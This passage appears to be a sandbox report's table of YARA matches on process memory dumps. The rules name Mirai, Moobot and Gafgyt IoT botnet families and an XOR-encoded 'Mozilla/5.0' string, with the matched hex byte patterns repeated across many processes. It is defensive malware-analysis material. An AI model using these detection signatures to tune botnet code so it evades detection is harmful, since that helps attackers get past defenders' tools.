78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6539.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7405.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7063.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7063.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7063.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7063.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7063.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7063.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7001.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7379.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7379.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7379.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7379.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7379.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7379.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6471.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7228.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6308.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6308.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6308.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6308.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6308.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6308.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6882.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7145.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6713.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6713.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6713.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6713.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6713.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6713.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7048.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7048.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7048.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7048.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7048.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7048.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6495.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6657.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6657.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6657.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
